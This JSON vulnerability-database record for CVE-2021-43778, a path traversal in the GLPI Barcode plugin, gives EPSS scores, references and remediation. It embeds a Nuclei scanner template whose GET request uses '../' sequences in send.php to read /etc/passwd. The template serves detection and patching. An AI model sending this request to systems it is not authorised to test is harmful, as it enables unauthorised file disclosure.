{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-43778/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-43778/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-43778/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-43778/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-43778/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-43778"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-43778"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.52658,
      "kev": false,
      "percentile": 0.98918
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-43778.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-43778\n\ninfo:\n  name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.\n  author: cckuailong\n  severity: high\n  description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.\n  impact: |\n    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.\n  remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.\n  reference:\n    - https://github.com/AK-blank/CVE-2021-43778\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-43778\n    - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9\n    - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1\n    - https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2021-43778\n    cwe-id: CWE-22\n    epss-score: 0.52658\n    epss-percentile: 0.98917\n    cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: glpi-project\n    product: barcode\n  tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201bdabb7ce67f2e2d4608c06b34ff971ee75eac69fdd0d526b5df301ae3cd25f7022100aa30efe40dcd711d4817b54415673014a9b55671d40ce8c7ffcfbd34154c0d8d:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-43778"
}